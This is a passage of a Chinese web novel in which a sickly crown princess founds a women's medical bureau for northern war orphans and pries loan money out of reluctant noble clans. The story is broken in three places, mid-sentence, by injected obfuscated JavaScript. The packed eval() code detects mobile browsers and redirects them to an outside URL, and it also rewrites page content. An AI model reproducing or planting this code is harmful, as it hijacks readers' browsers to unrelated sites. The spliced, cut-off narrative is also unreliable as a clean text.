曹壬昨天说的朝堂遗留问题就是战事结束后的收尾工作,北境战事已结束,鲜卑也被打得暂时不敢再来犯,可哪怕是战胜方,也难免有人员伤亡。 除了北境那些被鲜卑烧杀后剩下的老弱病残的百姓,大魏军中伤亡将士的遗孤也需要安置,可国库空虚,朝中讨论来讨论去,都想不到行之有效的方案。 陆萸想了一下,接收全部的老弱病残,她没有那个能力,可她想成立女医署,专门接收十岁以下的北境孤女和将士女遗孤。 男孩无论在哪个年代都受家族重视,可女孩不一样,一旦成为孤女,等待他们的只有死亡和无数次的发卖,所以她要接收这些孤女,让他们在女医署读书习字,成为女医。 现在的医者大多为男性,女医甚少,女性生一些难言的病症时,也羞于找医官问诊,日积月累下很多女性被小病折磨得苦不堪言。 再有一个,女性怀孕生产有如走一趟鬼门关,若自怀孕之初就有女医一直跟踪调理,生产的时候也能容易一些,而不是愚昧得全听产婆的安排。 陆萸将心中的想法告诉萧嘉卉,萧嘉卉听后愣了许久后,欣慰一笑,“女儿真是长大了,若需要我相助,你只管提就是。” 她深知女子为怀孕生子有多么不容易,也深知女医署一旦成立,能为多少女子造福,所以她既为女儿能想到这样的方案而自豪,又被这样的赤诚感动。 谢洐在书房听曹壬转述陆萸的决定时,不知道该高兴还是该气愤,高兴的是这方案确实能解决朝中的困境,毕竟男孩子比女孩子金贵,其实那些没人管的大多是老人和孤女。 气的是陆萸竟然没和自己商量就已做决定,女医署哪里那么容易运作起来,那简直就是个不停吞钱的无底洞,学医没有五年以上是学不出成就的。 他恨恨道,“是我不知好歹救下九丫头,如今也是我活该受着。” “我在此替阿萸和那些孤女谢过侯爷”曹壬起身向谢洐行大礼。 “去去去,别来这些虚的,你以后好好待她就是”谢洐不耐烦地回。 “我待阿萸定会胜过自己”曹壬郑重回。 谢洐烦躁地在书房踱步,然后扭头看着曹壬,“你说,她怎就能想出这么多奇奇怪怪的点子?安生日子才过一年,她就开始给我找事了,我定是前世欠她的。” 曹壬回,“侯爷当年不也是欣赏这样的阿萸,才将她救下的吗?” 谢洐嘴上一万个不乐意,却还是和曹壬拟定了一个方案,这事不能由谢氏去提,毕竟谢行才捐了十万两黄金,如今再主动提这事,世人岂不是要怀疑谢氏背后有一座金山。 谢洐不想让大家觉得谢氏就是个冤大头,但又想给太子妃找点名声,所以让曹壬去找郑太傅主动提这个方案。 太子太傅郑荃在丁忧前常在郑宅接待慧悟法师,后来因成为曹壬的太傅才能提前结束丁忧,他非常珍惜这个机会,所以对曹壬的辅导可算是尽心尽力。 曹壬把方案大概和郑荃一说,他立马就会意了,几日后上朝,他将这个方案在朝堂上说出来时,曹启皇帝眼中藏不住的赞赏。 郑荃口中的女医署与其说是医署,不如说是孤儿收容所,曹壬没有将医署具体运作方式告诉他,所以,这个方案没大问题,可国库没钱,谁负责,谁就得掏钱,没人敢接这个方案。 这时,有官员提出,太子妃常年卧病在床,都说久病成医,若由太子妃负责女医署的事,既能体现皇室对将士遗孤的关爱,又无人敢去医署捣乱生事。 曹启皇帝闻言,给了这名大臣一个,你可真会坑人的眼神,然后笑得像个狐狸一样,看着众朝臣,“众卿可还有其他建议?” 定北侯陆恭道,“太子妃身体羸弱不适合负责女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197138|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医署,若想体现皇室对遗孤的关爱,可选皇室宗亲女眷负责。” 这时有一大臣提出,可从两名公主中选一人负责女医署。 杨宪一听,立马道,“长公主这些年为家庭操劳过度,即使有心也是无力接这个方案。” 这时,有一大臣提出,他刚刚在宫外遇到太子妃的车架进宫了,要不,陛下可找太子妃过来问问。 柿子专找软的捏,大臣们也知道两个公主身后的夫家惹不起,而谢氏只有一些说不上话的闲散官员。 退一万步说,这事让太子妃接手,办好了,太子妃赢得美名,办不好,名声本来就不好的太子妃也不会被大家诟病。 不抱期望,就不会失望,太子妃办砸了,也不会被谁责难,毕竟,她已经病得那么严重了,再责难于她,就显得太不厚道了。 曹壬终于开口了,“既是行善事,众卿为何没人推荐家里的女眷呢?众卿府上也不乏五品以上的夫人,她们与其整日吃斋念佛去白马寺捐香火,不如做实事挣些功德。” 太子此话一出,朝中突然安静下来,一个个低着头不敢看他,太子平时少言寡语,但他只要开口铁定是让人难忘的。 这时,一个官员不怕死地低声回,“由皇室成员负责,更能体现陛下对边疆将士的关爱。” 曹壬闻言,眼神像刀子一样甩在那人脸上,那人立时吓得跪在地上。 曹启皇帝见状,忙笑道,“太子莫急,这事大家还在商议不是吗?” 今日忠义侯谢洐没上朝,不过承恩侯却在场,他和谢洐大吵分府后,对谢洐一家恨的咬牙,整日想着怎么找回一口气,今日总算找到机会了。 他一脸大公无私地看着曹启皇帝,“太子妃既是臣的孙女,臣便替她做个主,让她接下吧。” “承恩侯慎言”曹壬急急出声。 曹启皇帝还是那副狐狸笑,他似为难了一瞬,然后道,“那便请太子妃来问话吧。” 陆萸此时正在皇后宫中请安,她今日说话还是那么无所顾忌、死皮赖脸,把杨皇后气得连茶都饮不下了,听到皇帝召见,忙像送瘟神一样把她送走了。 她弱柳扶风般一步三喘地走至太极殿东堂后,不是先向皇帝行礼,而是忙走至曹壬跟前,然后满眼深情的看着他问“殿下何时随妾回东宫?” 曹壬平静地回,“快了。” 皇帝轻咳一声,道,“太子妃来了。” 陆萸这才似想起皇帝,忙行礼,“儿臣见过父皇,不知父皇召儿臣为何事?” 曹启皇帝就这般那般将方才朝堂讨论的事大概告诉陆萸,然后问,“太子妃可愿意接?” 陆萸听后,举起帕子捂着嘴猛烈咳嗽起来,好似连五脏都要咳出来似的。 须臾过后,她饮过青琼递过来的茶水后,煞白着脸作一副思考状,然后小心牵起太子的衣袖问,“太子也觉得女医署是行善事吗?” 曹壬点点头,“是行善,但你身体不适,无需勉强自己。” “若是行善,我作为太子妃自是责无旁贷,殿下心怀佛心,一心行善,我也想像您一样呢。” 陆萸说着,满心满眼都是曹壬,她说这话的时候不是装的,是真心想像他一样,心怀苍生。 而这样的太子妃,让在场的大臣们一时不知该作何反应,终于有人接这个棘手的事,他们本该高兴的,但利用太子妃对太子的爱意,他们又觉得有些不厚道。 至此,曹启皇帝当即喜笑颜开地决定由太子妃负责女医署的所有业务,而朝中所有医官和宫中御医,凡太子妃需要,皆要积极配合太子妃管理女医署。 散朝后,当谢洐知道女儿揽了个没人愿意接的差事以后,听说气得砸了很多上好的茶具。 听说谢洐很记仇,当天举荐太子妃的大臣们,连着一两个月都不敢单独出门,不过这些都是后话。 92. 第九十二 生如夏花 对于成立女医署这事,被迫接下和自己主动要求去做,虽然最终结果一样,但出发动机不一样,陆萸能要到的资源就不一样。 看人下菜,欺软怕硬一直是世人惯会做的,如今有皇帝在朝堂上一锤定音,那些不想配合的人也不敢直接和太子妃撕破脸,于是,陆萸就乐呵呵把这个任务接下了。 如今首要工作是让北境官员和负责战事收尾工作的官员尽快统计出十岁及以下的孤女名单和人数,统计时长不得超过一个月,为提高效率,需统计满八十人就即刻送往洛阳女医署。 眼看年关将近,冬天越来越冷,若继续让他们留在北境,有些孤女甚至可能活不到明年春天,所以她必须以最快的速度建好女医署的住宿楼,时间紧迫,她没时间去设计建造图纸,于是让陆弘火速去找星火书院的图纸。 当年陆萸设计山阴星火书院时,所有图纸都备份有几套底稿,如今直接拿来就可以用,图纸有了,目标有了,剩下的就是和朝廷要地。 洛阳城这两年人口越来越多,内城的地已经寸土寸金,连东西两个外城也跟着水涨船高,西外城有大市,鱼龙混杂,陆萸最先放弃西外城,东外城东北地块靠近武库,也不是理想之所。 东阳门和清阳门中间是东市,谢氏的华彩阁就在东市,东市往南是洛水河,洛水河对面是太学。 陆萸最后决定把女医署的地址选在清阳门出来东南方向的位置,这样比邻洛水河,环境优美,还可以和对面的太学遥遥相望。 洛水河附近的地块也很抢手,有些世家在河附近建造休闲别院,好在靠近东市这边他们嫌吵闹,都扎堆去河对岸太学附近了,长公主的别院就在那边。 皇帝见太子妃一副干劲十足热情高涨的样子,自己也被感染了,所以批地块的时候非常爽快,朝中也无人提反对意见,甚至已经有人开始好奇太子妃能做到何种程度。 有地有图,剩下的就是建房子,可建房子的钱从哪里来,陆萸要怎么弄到这笔钱才是关键。 陆萸先是找尚书省的度支郎要钱,尚书省下设五曹,即吏曹、左民、客曹、五兵、度支,度支郎属尚书省度支曹,掌管国库,确保财政的稳定和国家的经济运行,其上司是尚书令杨宪。 众所周知,国库没钱,所以度支郎一听陆萸的来意后立马哭穷,但他也不敢直接拒绝,只说等有钱了立马给太子妃送去。 陆萸原也没指望他们能出钱,她跑这一趟,只是为了打借条。 国库没钱,但我现在急用呀,你可以先不给我钱,但得开个借条给我,这样我垫进去的钱才能找国库填补不是吗?谁的钱都不是大风刮来的,打了借条我垫资的时候才更安心。 度支郎一听,让朝廷给个人打借条,简直闻所未闻呀,他可不敢开这个先河,于是问过需要借的金额后立马上报尚书令了。 翌日朝会,大家共同商议度支曹给太子妃打借条这事,太子妃都愿意自己垫资且不要求计算利息,不打借条确实说不过去,只是太子妃要求打五十万两白银的借条确实金额巨大,最后大家一番合计后,同意给太子妃打三十万两的借条。 三国乱世终结后,朝廷的机构和后世是有很大差异的,朝廷是由手握军事力量的权臣共同建立起来的,他们组成一套机构,完全在正规官制以外,自由行使职权。 军、民、财没有严格的各成体系,任何时候,只要为了军事上的便利,都可以打破常规,所以国库没钱,不代表手握重兵的世家手里没有钱。 陆萸拿到三十万两的借条后,立马在朝堂上向手握重兵的世家们借钱,借的也不多,只需每家能两到三万就行。 太子妃现在安置的孤女大多为将士遗孤,大家手里的将士哪天若是阵亡了,遗孤也会被送来这里,所以现在借钱给她建女医署,是为安定后方军心,最终受益者是各大世家,所以利息就不用考虑了。 大家也没想到太子妃会向大家借钱,她病恹恹地坐在那里,边咳嗽边为那些遗孤声泪俱下的发表了一堆同情之言,若是不借,显得大家既冷酷无情也不关心手下将士和家属,虽然大家确实也不在意他们的死活,但一旦一传十十传百,待传遍大魏的时候,肯定会或多或少的影响军心。 他们现在对朝廷有恃无恐是因为大魏是世兵制度,凡为兵者世世代代皆为兵,他们不担心募不到兵马,但世兵若起异心那也是致命的,他们在军中几乎沾亲带故,大家都是熟悉的,只要他们想,就可以迅速组成新的团队叛逃出队伍。 如今大家被太子妃扣了一个大义的帽子,他们没勇气摘下这帽子,就只能咬牙同意借钱,他们心想,先认借,至于什么时候送银子那是后话。 此次将士遗孤大多出自荆州军中,所以定北侯代表陆氏率先认借三万两白银,陆氏开了头,紧接着是雍州李氏认借两万,看到大家都认借了,其他世家也不好意思,只能跟着认借。 陆萸合计了一下,大家认借的金额已达二十三万两。 她颤颤巍巍地起身,然后向大家行了一个大礼,“我在此替那些可怜的孩子们感谢众卿的大义之举,你们放心,退朝后只要大家送来借银,我立马写借条,如今我手握朝廷的借条,若将来还不起各位银两,你们尽管拿着我的借条找尚书省冲账就是。” 尚书令杨宪一听这话,一口老血差点被气得吐了出来,敢情她前几天让朝廷打借条就是为今天准备的,他刚刚咬牙认借的那两万两,无论如何都不会送去给她就是。 陆萸弄这么一出,倒也不指望真能从他们手中借到足够的银两,不过,她向来奉行蚂蚱也是肉的理念,能借一点算一点吧,至少从今日之后,她可以名正言顺地拿着认借名单找各大世家要钱不是吗? 最先送借银到东宫的是陆氏,陆萸让人清点好后,立马给定北侯写了借条。 她把借条递给陆恭,行大礼“我替那些孩子谢过陆氏大义。” 陆恭接过借条,回礼道,“太子妃要建女医署,可以向葛医仙求教一些医治方案,最近葛医仙刚好在我府上。” 陆萸笑回,“多谢陆侯给我提这样的建议,我得空会去贵府叨扰的。” 陆恭可能是替陆妘邀请陆萸前去,她之前没有理由登门,如今倒也找到合理的理由了。 地块才批下来,陆萸就已经让人建造住宿楼了,时间紧迫,她等得起,北境的孩子却等不起。 她这些天花了大心思和朝臣周旋,好不容易才拿到认借名单,接下来的时间只会越来越忙,自古以来,伸手向别人借钱是最难的,届时他们肯定会有这样那样的理由拖延时间。 当天夜里,夫妻二人躺在行云殿,她和曹壬提明天想去定北侯府看陆妘,不然以后越来越忙,她怕错过了。 曹壬不想陆萸去定北侯府,她这些日子已经这么忙这么累,如果去看陆妘,肯定会影响心情,他不想她身心俱疲。 于是问,“不能等到建好医署再去吗?” 陆萸闷闷出声,“阿兄说可能等不到那时了。” 如此,曹壬倒也不好反对,揽着她,手轻轻替她整理好头发后,回,“想去就去吧,我下朝后去接你。” 这些日子和朝臣斗智斗勇,陆萸累极了,所以很快就睡着了。 曹壬却迟迟不能入睡,她这些日子的不易他都看在眼里,可她不让他插手。如今去定北侯府,他其实想陪在她身旁,那样就算陆氏有人伤了她,他也可以在一旁安慰她。 可他知道不能,太子妃是为寻葛医仙去定北侯府,太子却没有理由。 翌日清晨,二人分两路出发。 陆萸到定北侯府的时候,时间刚刚好,陆妘刚梳洗好,正靠在床头喝药。 她猜想,陆妘的心疾在后世也许就是先天性心脏病,这种病分大小,根据严重程度治好的概率也不一样,有的只需要一个小手术就能恢复,有的却只能等死。 在医术不发达的古代,陆妘能活到这个年龄也属不容易,那也是她性情豁达的原因。 陆萸出事后,洛阳星火书店的运营管理就全部交给陆妘了,当时陆恭夫妇是极力反对的,可她坚持再三,就只能由着她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209160|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若非因为操劳,她或许还能活得更长一些,陆萸这么想着,忍不住道,“当初就不该让你接手书店的。” 陆妘虚弱一笑,“此言差矣,若非接手书店,我也不会知道女子也可以活出另一种样子。” 接手书店后,每日去星火课堂看孩子们上课,她发现了生命的意义,女子为何只能有嫁人这一条路呢? 当初看陆萸忙到晕倒时她无法理解,可当她真正对这个称之为事业的东西上心时,才真正体会到何为有希望、有意义的日子。 对,就是事业,她终于也有了自己的事业,而非像那些嫁人的闺中旧友,只为一个男人喜怒哀乐,然后日日被后宅那些鸡毛蒜皮的事消磨掉青春。 陆萸看得出她是真开心,可看到她如此虚弱病体后,心里顿时难受极了,伸手握住她那已经瘦得只剩皮包骨的手,眼泪忍不住落在了她的手背上。 “阿姊”她哽咽出声,“即便如此,我还是觉得生命比事业重要。” 命都没了,还谈什么事业,活着才有无限可能。 陆妘回握住陆萸的手,手上迅速传来一阵冰凉,她笑回,“不用替我难过,你不是说过生若夏花之绚烂,死若秋叶之静美吗?我心向往就是如此,我不后悔接下书店,只是遗憾没能看到你们缔造的太平盛世。” 陆萸离开定北侯府的时候,天空竟然下起了濛濛细雨,寒冷的冬日一旦下雨就意味着未来几天有可能会下雪,寒冷的又下雪的冬日,也不知道又要死多少人。 撑伞行走在熟悉的定北侯府,她的脑海中不断闪现出当年与陆妘在这宅院中度过的每一天,她今日没心情和葛医仙谈正事,于是和他约好了等建好医署楼再上门。 葛医仙因着与陆歆是旧交,一直给陆妘调理身体,如今陆妘身体越来越差,他的心情也不好受。 不过太子妃主动提出想要就建女医署的事一起商议合作方案时,他没有拒绝,他知道太子妃在做一件没人愿意做的事,这件事在外人看来简直不可能坚持下去,可越是如此,越显得她的坚持何其可贵。 像他这样的医者,有名望也不缺钱,就想尝试以前不曾尝试过的事。 太子的马车侯在定北侯府门外,八喜看到陆萸带着青琼从里面出来,忙上前去迎接,“殿下在车内等您。” 陆萸点点头,快步走过去,然后踩上凳子,将伞递给青琼后迅速钻进马车内,不知为何,她突然觉得冷极了。 曹壬听到外面的动静,刚放下手中的书,就看到陆萸推门进来,还未等他出言询问,她整个人扑进了他怀中。 他既惊又心疼,忙问“出了何事?他们为难你了吗?” 陆萸紧紧地抱住他,头贴在他的胸口,摇摇头,“我只是冷了。” 曹壬这才松了一口气,伸手回抱住她,笑问“这样还冷吗?” 陆萸没有回答,她知道凡人之躯总免不了生老病死,可她还是难以接受曾经如花一样的女子,竟然在短短几年内以肉眼可见的速度迅速凋零。 胸口传来一阵湿热,曹壬知道陆萸在无声落泪,这样的湿热仿佛穿透胸前的衣服灼伤了他的心口。 他手上的动作一顿,然后将下巴放在她头顶上,温言出声,“阿萸,你还有我,回到我们的家,你就不冷了。” 陆萸闻言,自他怀中抬起头看着他,而他正好也低下头看着她。 他眼中的担忧如此明显,眉间全是藏不住的疲惫,想来在太子位上的他也非常疲惫吧?大家都如此不易,她不能再继续伤怀,因为还有更重要的事在等着她。 挂在睫毛上的最后一滴泪终于落下,她红着眼眶,伸出手,用手指轻轻抚平他眉间的疲惫,然后笑道,“对,回家就不冷了。” 曹壬轻叹一声,将她揽回胸前,然后紧紧抱住不松手。 马车徐徐向东宫驶去,濛濛细雨逐渐变成小雨,洛阳内城的青石板路面瞬间变得湿滑,车轮碾压在上面的时候发出“咯吱咯吱”的声音,他们知道,他们将驶向更大的风雨中,可只要能与对方携手并进,就没有什么可怕的。 93. 第九十三章 要钱 过几日,果真如陆萸意料的那样,洛阳迎来了入冬后的第一场大雪,看着白茫茫一片的东宫,她已经不像当年在长安时那样开心了。 她如今满心焦虑没有心情赏景,只能不断催促那些负责排查遗孤的官员能加快速度,当天下午,从北境送来了九十三名孤女和四名男童。 这四名男童皆是四岁到六岁的孩童,平时和姐姐相依为命,因不想和姐姐分离而苦苦哀求地方官员,后来就被一起送来洛阳。 陆萸知道后立马全部收下,并发了一条太子妃令:排查遗孤和孤女时,若有与其相依为命的七岁及以下的男童,女医署也可以收下。 礼记有云:男女七岁不同席,且超过七岁的男童已经可以干活了,想来那些世家也舍不得放手。 女医署的住宿楼还没建好,陆萸便提前让人打扫出东宫最靠北边的月室殿,安置几十个孤儿完全没有问题。 这些孩子经历过丧亲之痛后又经历了朝不保夕的日子,如今好不容易千里迢迢来到洛阳,有吃的有住的,对女医署和太子妃自是感恩戴德。 所以灼华在安置这些孩子的时候毫不费力,他们乖得比绵羊还让人省心。 这次护送孤儿到洛阳的是雁门郡的官员许峰,所以这批孤儿全是雁门郡的将士遗孤和百姓孤儿,他能有这样高的效率,陆萸特意接见了他。 许峰是雁门郡太守的佐吏功曹吏,属九品,由朝廷直接任命,但只负责执行具体任务,不参与郡的决策议事,这次朝廷下发任务后,他立即把之前排查的名单整理出来后,向雁门郡太守主动请缨把孩子们送来了洛阳。 他说北境太冷,刚经历过战事的雁门郡也无余力照顾这些孩子,原本有一百零九个孩子,可在路上又病逝了几个,如今能把这些送到洛阳已属不易。 他还没说自战事发生至今,已经有很多孩子等不到朝廷的女医署就已去世了。 陆萸很欣赏许峰,笑回:“你的做法值得嘉奖,虽然不能全部送来,但也已经救下这么多不是吗?” 许峰听后,心底松了一口气,然后才偷偷抬头看那个传说病的不轻、名声也不怎么好的太子妃。 传言真是不能全信,太子妃生病是真的,但长得貌似天仙,至少在雁门郡看不到这样的女郎,且她能爽快接下孤儿们,心地如此善良,就不是普通女郎能比的。 他收起打量,郑重地向陆萸行大礼,“臣,在此替雁门郡和这些孩子谢过太子妃殿下。” 陆萸笑着让他免礼,然后说了自己的想法,以后雁门郡的孤儿,男童七岁及以下,女童十岁及以下,凡他们的族亲愿意放行的,都可由他送来女医署。 许峰听后,激动难耐,又行了几个大礼,才提了另一桩事,这次护送孩子来洛阳,有一名女子一路相助护送,这女子想向太子妃自荐参与女医署的建设工作。 恐担心陆萸不愿见那女子,许峰接着道,“此女身手不凡,我们在路上遭遇过一次劫匪,是被她打退的。” 陆萸如今正缺人才,一听这话,忙让人把那女子带进来。 进来的人不是别人,正是游历大魏两年的三伏,她低着头进来,还未来得及向太子妃下跪问安,就听到一个激动的声音,“三伏,你怎么现在才来。” 三伏听到熟悉的声音,猛然抬起头,激动地看向上首,眼前的太子妃虽然一脸病容,却是女公子无疑,她怔了须臾,才热泪盈眶的看着陆萸,“娘娘别来无恙。” 陆萸激动地走下来将三伏扶起,“回来就好,我正缺人手。” 许峰原担心私自举荐人才,会惹太子妃不悦,如今见二人是旧识,心底松了一口气,看到他们如此开心,他也忍不住跟着笑起来。 许峰临行前,陆萸又给他安排了一项任务,除了雁门郡,附近的州郡如果想送孤儿到女医署的,也可以由他统计确认后分批送来。 “女公子,接收这么多孤儿,您能准备出足够的银钱吗”灼华担忧地开口。 这些孩子如今确实没有任何产出,可既然打算成立女医署,为何不往更深远的地方看问题呢?她收养这些孩子除了出于怜悯,还考虑到了大魏的世兵制度。 不过她没有向灼华解释太多,“能救多少算多少,其他的以后再说,大不了我砸锅卖铁,节衣缩食去养活他们。” 三伏很能理解陆萸的志向,女公子曾经想把女子书院开遍大魏,如今这女医署可比女子书院容易多了。 她不知道陆萸为何死而复生,心底太多疑惑,不过如今陆萸太忙,她也不急着问,于是主动道,“娘娘想让奴婢做什么,奴婢现在立马去做。” 陆萸道,“你暂时不便出现在我身边,所以先去洛阳星火书店把妘堂姐手中的活全部接下。” 星火书店当初在洛阳新开时,因为要挂谢氏的徽记,所以答应了分谢洐一成的收益,如今陆妘病了,恰好需要人接手,而她也打算让陆氏把整个洛阳星火书店转给谢氏,三伏明面上是陆氏的人,所以提前让三伏去接手比较好。 三伏得令后,直接去定北侯府找陆恭商量了。 陆恭自太子妃接下女医署的项目后,就猜到她会找人接管洛阳书店,所以很爽快地答应了三伏的请求。 第一批孩子安置好,陆萸就开始拿着世家的认借名单挨个上门了,她最先去的府邸是河东柳氏,门下省侍中出自柳氏,那天他认借了两万两。 柳侍中不在府上,接待陆萸的是他的夫人韦氏。 韦氏听完太子妃的来意后,开始哭穷,说什么如今入冬全家上下都要制冬衣,又是年关需要准备祭祖,河东柳氏需要用钱的地方实在太多,他们一时间凑不出那么多银钱。 她说的这些理由,哪个世家没有,陆萸既然上门了,自然不会空手而归,赛哭,谁不会,她不但哭得比韦氏好看,还比韦氏更娇弱。 她边咳嗽边为那些孩子哭诉,哭得上气不接下气的,韦氏在一旁看着立时傻眼了,连哭穷都忘了。 陆萸用手帕压着眼角,哭诉,“我也知道大家的不易,可现在孩子已经住在东宫,我总不能对他们见死不救吧?我和殿下今年的冬衣还未制,就先紧着那些孩子了,殿下甚至为了省下口粮,连晚膳都停了。” 太子殿下过午不食的习惯大家都听过,太子妃也太假了,韦氏扯了扯嘴角。 陆萸又接着哭诉,“我并非要夫人立马把两万两送来女医署,只是想问柳氏能不能从大操大办的年宴中挤出一点余钱来安置这些可怜的孩子?” 柳氏最近确实正打算大办一场年宴,顺便邀请交好的世家故友增进增进感情,只是她才开始预定宴会用的东西,太子妃竟然闻风而来了。 她此时恨得咬牙,却还得一脸为难的看着陆萸,“妾只是个妇人,做不了什么主,夫君既已做决断,妾如何敢私自更改?” 陆萸一听这话,也不再继续哭诉了,而是起身环视了一下柳氏的会客厅,然后道,“夫人既然如此为难,那我也就不强求了。” 韦氏听了这话,心口一松,看来太子妃也很好说话嘛。 不过她还未来得及高兴,就听陆萸道:“只是安置孤儿迫在眉睫,我看贵府有很多用旧了的家具或许能值一些钱,要不暂时先把这些拿去换钱,待过完年,夫人再置办一批新的,也能应应新年新气象。” 韦氏一听这话,立时傻眼了,太子妃这话,怎么听着是要抄家的节奏呢?她从未和如此不要脸的人打过交道呀。 她怔怔地看着陆萸,“太子妃所言,妾为何就听不懂呢?” 陆萸虚弱地笑笑,“就是如夫人所想”话音刚落,她扭头看了一眼身后的青琼。 青琼得令后,立即出去安排了,才一会的功夫,一群穿禁卫军衣服的士兵训练有素地从府门外冲了进来,然后把会客厅里所有家具、瓷器、装饰品等所见之物,甚至连罗汉松盆栽都没放过全部搬出了府。 陆萸边咳嗽边看着韦氏,“多谢夫人慷慨相赠,待我去把这些东西置换成银两,就会送借据过来。” 言毕,不待韦氏回过神,她在士兵的护送下快速出了柳府,那动作异常迅速,哪里还有一点病秧子的样子。 一切发生的太快,谁都想不到病秧子太子妃竟然会带人上门抢东西,所以府兵对太子妃也毫无防备,门卫见到禁军突然涌进来又抬着东西出来,也一时间没想起来要阻拦。 韦氏等陆萸走远了才想起来要去追回,她又气又急,却因自小的世家教养让她骂不出什么过激的言语,只能气喘吁吁地追去门口。 谁知还未等她踏出府门,便听到门口锣声一响,一道浑厚有力的男声大喊,“河东柳氏高义,虽一时凑不出认借给女医署的银两,却将上等家具慷慨相赠,太子妃在此立誓,只要把这些东西置换成银两,就把借据送来,大家想买下这些高档家具者,可去东宫预约登记。” 韦氏一听喊声,忙让门卫闭上府门,靠在门板上气得发抖,那些东西,看来是无论如何都追不回来了,她还得想想怎么和夫君解释今日的事。 陆萸在登河东柳氏的门之前,先去宫里和皇帝要五十名禁卫军,她最近常去东外城看女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆萸今日倒也没有昨日强势,她先哭诉了一下刚刚接收的孩子能千里迢迢走到洛阳有多不容易,他们的身世有多么的悲惨,然后才说世家的东西反正都是旧物,换新迎新年也是好兆头。 她解释东西已经全部被人预定,她也不可能再让人还回去了,她只能把借据写给大家。 世家的东西无一不精,她昨日每出一府就让人在洛阳内外城大肆宣传,打着义卖的旗号卖这些东西,多少人争着预定购买呢,她甚至已经打算开个拍卖会了。 一名气不过的大臣愤愤出声,“太子妃如此行径与匪何异?” 陆萸一听这话,擦了擦眼泪后,一脸无辜的看着他,“认借名单是大家签下的吧?我按名单上门借银两没错吧?既然大家手头紧,一时凑不出银两,我想办法帮大家凑银两也没错吧?” 这名大臣被太子妃三连问,问得脸红耳热,一时回不了话。 顿了一下,陆萸扭头眼泪汪汪地看着皇帝,“父皇也觉得儿臣错了吗?儿臣也是救人心切呀!” 皇帝也是对太子妃的行为佩服得紧,他怎么就没想过用这种办法呢?他尴尬一笑,“太子妃先别哭,先听听他们怎么说。” 陆萸剧烈地咳嗽几声后,靠在青琼身上后,虚弱开口,“我知大家只是一时没想起怎么凑钱而已,你们也不用感谢我。若是我再借不到钱,待下一波孤儿送来洛阳时,我会把他们暂时送去各位府上养着,待我凑够了银两再去你们府上接回。” 要么你们借钱给我养孤儿,要么你们帮我养孤儿,而且你们不能养死了,我还要去接回来,太子妃主打一个无赖加胡搅蛮缠,把官员们气得不轻。 他们现在是在说养孤儿的事吗?他们现在是说把东西搬走这个行为。 尚书令杨宪终于开口了,“臣等既已认借,肯定不会抵赖,太子妃也太急了一些。” 有几名官员立马附和,“对,尚书令所言极是,太子妃确实太心急了。” 陆萸一听这话,立马起身一脸不可置信地看着杨宪,急急开口,“众卿怎会认为是我太心急,而不是你们太慢呢?那些孩子如今都住在东宫,要不你们去看看他们过的什么日子?你们等得,可他们等不得呀,来洛阳的路上还死了好些孩子,哦,可怜的孩子呀。” 陆萸说完后大哭,哭得太急一口气瞬间缓不过来,然后当着众朝臣的面倒下了。 一旁的太子眼疾手快,迅速冲过去才将将接住太子妃,他大声喊,“快传太医。” 糟了,太子妃被大家气晕过去了!这样的认知,让众朝臣立时低下头屏住气,没人再发声了。 特别是尚书令杨宪,看着脸色惨白毫无生气躺在太子怀中的太子妃,他只觉得又气又怕,若真把太子妃当场气死,弘农杨氏的名声就完了。 94. 第九十四章 太子妃晕倒后,太医很快就来了,诊断结果是太子妃疲累过度加气急攻心才导致的昏迷,她现在需要静养,至于什么时候醒,还得看运气。 太子带太子妃回东宫去了,这朝会也就没法继续开下去,之前骂太子妃骂得最大声最激烈的大臣,如今成了溜得最快的人。 进了东宫的马车,曹壬刚低头去看,怀中的陆萸睁开了眼,她想笑却只能忍着,实在忍不住又不敢出声,唯有身体在他怀中不停抖动着。 如此孩子气的模样,当真令他着迷,他抱着她宠溺地看着她笑,太子妃还在昏迷,他也不好出声。 笑了好一会,快到东宫的时候,陆萸才坐起身,在曹壬耳畔低语,“君期,接下来该我挣大钱了。” 她说这话的时候,笑得眉毛弯弯,双眸亮晶晶如星辰,灵动得极了,而她低语时喷出的热气似羽毛轻轻刷过他的耳廓,刷得他心底一阵悸动。 他忍不住伸手叩住她的头低下头吻了上去,现在外面全是护送他们的人,她不敢出声反抗,正是好时候。 陆萸确实不敢出声,只能用手轻轻锤打他的胸口以提醒他,谁知那力道轻得似被一只猫挠,反而挠得他心里更痒了,忍不住加重了唇上的力度。 待外面的八喜报,“殿下,东宫已至。” 二人才依依不舍地分开,口中皆是粗喘声,毫无悬念,陆萸的唇红艳得似被大雨打过的红玫瑰,眼神中似装满了水,还处在迷离状态,整个身体只能软绵绵地躺在他怀中。 而曹壬却能端正身子后,迅速变回原来那副冷情冷性的佛子摸样,仿若刚才那一场激烈只是陆萸的一场错觉。 未免别人看出异样,他用兜帽罩住了她的脸,抱着她直接回了东宫中室殿。 至中室殿中无外人,陆萸才从床上坐起,嗔怪地看着曹壬,“殿下就不怕坏我的好事吗?” 